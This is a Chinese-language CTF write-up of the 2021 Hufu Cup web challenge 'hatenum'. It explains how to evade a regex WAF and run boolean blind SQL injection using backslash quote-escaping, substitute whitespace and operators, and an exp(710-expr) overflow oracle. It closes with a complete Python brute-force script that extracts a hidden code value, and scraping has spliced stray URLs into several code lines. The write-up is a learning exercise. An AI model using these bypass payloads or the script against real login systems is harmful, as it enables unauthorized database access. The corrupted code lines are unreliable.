前言
今天遇到個有意思的SQL盲注,花了不少功夫,也學到了新姿勢,遂記錄下來以備后續碰到相同場景使用,
題目
這是2021 虎符杯的一道web題,有一個目標站點且附帶了原始碼,
原始碼內容包括:

主要邏輯在login.php 與config.php,刪去多余代碼,主要功能在登陸上,
前端登錄表單會發送給login.php處理:

然后所有的post引數會交給config.php 中的array_waf去做處理.

array_waf 是一個遞回檢測的waf,檢測是否包含sql_waf 和 num_waf 在內的規則,符合規則直接退出,
經過檢測后會進入config.php 中的login函式進行資料庫查詢,

可以看到login函式直接將引數拼接到了sql陳述句上,很明顯的sql注入,且回傳只有error、success、fail狀態, success的狀態下會進入home.php 拿到flag,

拿到題目,邏輯比較清晰,繞過waf進行sql注入,按照原始的登陸邏輯,我們需要知道正確的username、password以及code值,通過sql注入繞過用戶名及密碼檢測邏輯及知道code值,

解題
繞過賬密檢測
$sql = "select * from users where username='$username' and password='$password'";
$res = $this->conn->query($sql);

根據這個sql拼接的方式繞過賬密檢測還是很簡單的,因為sql_waf中限制',所以下面的payload就可以繞過賬密檢測,
username=admin\
password=||1#
select * from users where username='admin\' and password='||1#'
繞過code檢測

因為在login邏輯中有對code值進行單獨校驗的部分,所以我們還需要利用上面的sql注入注出code的具體值,因為回傳只有login fail、error兩個結果,所以是個布爾盲注,
但盲注的大部分關鍵詞都被waf限制,所以關鍵點就是繞waf,
sql_waf
if(preg_match('/union|select|or|and|\'|"|sleep|benchmark|regexp|repeat|get_lock|count|=|>|<| |\*|,|;|\r|\n|\t|substr|right|left|mid/i', $str)){
die('Hack detected');
}
重點來看下sql_waf, 因為回傳的內容有限,所以只能使用布爾盲注,而盲注通常會用到幾個關鍵關鍵字:字串截取類(substr、left、right、mid)、條件判斷類(if)、陳述句分割類(空格、/**/)、邏輯運算類(and、or),
一個盲注的payload: if(substr(database(),1,1)="t",1,0);
但很遺憾waf里面基本這些常用的都被禁用了,所以只能分別尋求替代,
字串截取類
禁用:substr、left、right、mid
繞過: like、rlike、inst
除開上面這些其實還可以使用 like、rlike、instr等
其中like與rlike的區別是 rlike支持正則運算式而like只支持如%,_等有限的通配符,like可以近似于"="
陳述句分割
禁用: 空格、\r(%0d)、\n(%0a)、\t(%09)\、/**/
陳述句之間分割常常使用空格
繞過: %a0( )、%0b(垂直制表符)、%0c(換頁符)
邏輯運算
禁用: and、or、=、>、<、regexp
繞過: &&、||、 like、greatest、least
條件判斷
禁用: 因為禁用了,,所以if 陳述句沒發使用
繞過: exp
EXP函式(本篇文章精髓)
這里重點其實就是exp函式,在sql注入里面exp函式一般被用做報錯注入(mysql<5.5.53)里面輸出報錯資訊,
如:
select exp(~(select*from(select user())x))

利用的是Double 溢位,exp(x) 含義為ex ,當x>709時就超過了double的取值范圍造成報錯,:

而例子中把字查詢按位取反就能得到遠大于709的值,報錯就會把子查詢內容顯出出來,
其實除了能用在報錯注入以外,利用exp在引數大于709時會報錯的特性可以用來構造條件判斷陳述句,
select exp(710 - expr)
在上面sql陳述句中 expr 若為 true 等價于0 則 陳述句就會報錯(exp(710)),若expr 為false 等價于0 則陳述句正常執行,
code 注入
有了前面所有的繞過,就能構造陳述句進行code值注入了,
1. 判斷code 長度:
||exp(710-((length(code))like({x})))
2. 猜解code欄位具體值
||exp(710-((code)rlike(0x{reg_str})))#
因為' 被過濾,所以rlike后面不能出現字串,需要 將正則運算式 ^xxx 轉換成十六進制,
3. 繞過num_waf

這里面還有一個坑,num_waf 有個判斷十六進制位數不能超過9位,既字串不能超過4位,所以在包含正則^以外的字串超過3位時需要 不斷做替換,用3位字串去匹配下一位,
邏輯很簡單,需要花點心思去編碼,
總結
如果有waf 限制了if 的使用,特殊情況下可以考慮通過exp函式來繞過,

代碼
"""
ctfhub hatenum 盲注腳本
"""
import requests
from loguru import logger
target = "http://challenge-732f479a63a3f952.sandbox.ctfhub.com:10800/login.php"
s = requests.session()
code_column_length = 0
def guess_length():
"""
猜解 code 欄位長度
:return:
"""
global code_column_length
for x in range(1, 100):
payload = f"||exp(710-((length(code))like({x})))#"
if my_request(payload_tamper(payload)):
code_column_length = x
break
logger.info(f"code的長度為:{code_column_length}")
def guess_code_str():
"""
實際猜解 code 字串內容
:return:
"""
code_str = ""
tmp_str = ""
waf = False
for line_index in range(code_column_length):
logger.info(f"{line_index} - tmp_str - {tmp_str}")
if len(tmp_str) > 2:
logger.debug("超長了")
logger.debug(f"壓縮前 {tmp_str}")
tmp_str = tmp_str[len(tmp_str)-2:]
logger.debug(f"壓縮后 {tmp_str}")
waf = True
for x in range(48, 128):
if x in [63, 95, 124]:
continue
o_str = f"^{tmp_str}{chr(x)}"
if waf:
o_str = f"{tmp_str}{chr(x)}"
reg_str = o_str.encode().hex()
logger.debug(f"{x}-{chr(x)}-{o_str}")
payload = f"||exp(710-((code)rlike(0x{reg_str})))#"
if my_request(payload_tamper(payload)):
tmp_str += chr(x)
code_str += chr(x)
logger.info(code_str)
break
logger.info(code_str)
def response_check(rs):
"""
布爾 banner 判斷
:param rs:
:return:
"""
logger.debug(rs.text)
if "error" in rs.text:
return False
elif "detected" in rs.text:
logger.error(rs.text)
exit("waf")
return True
def payload_tamper(payload: str):
"""繞過過濾"""
return payload
# return payload.replace(" ", "%a0")
def my_request(password):
"""請求封裝"""
logger.debug(f"payload:{password}")
username = "admin\\"
code = "1"
p_data = https://www.cnblogs.com/9eek/p/gen_post_data(username, password, code)
rs = s.post(url=target, data=p_data, headers={'Content-Type': "application/x-www-form-urlencoded"}
, proxies={"http": "http://127.0.0.1:8088"}, allow_redirects=False)
if response_check(rs):
return True
return False
def gen_post_data(username, password, code):
"""post 內容組裝"""
data = https://www.cnblogs.com/9eek/p/dict()
data["username"] = username
data["password"] = password
data["code"] = code
# 手動構造避免自動 urlencode
return f"username={username}&password={password}&code={code}"
def run():
guess_length() # 先猜測code長度
guess_code_str() # 根據長度猜測內容
if __name__ == '__main__':
run()
公眾號
歡迎大家關注我的公眾號,這里有干貨滿滿的硬核安全知識,和我一起學起來吧!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/452001.html
標籤:其他
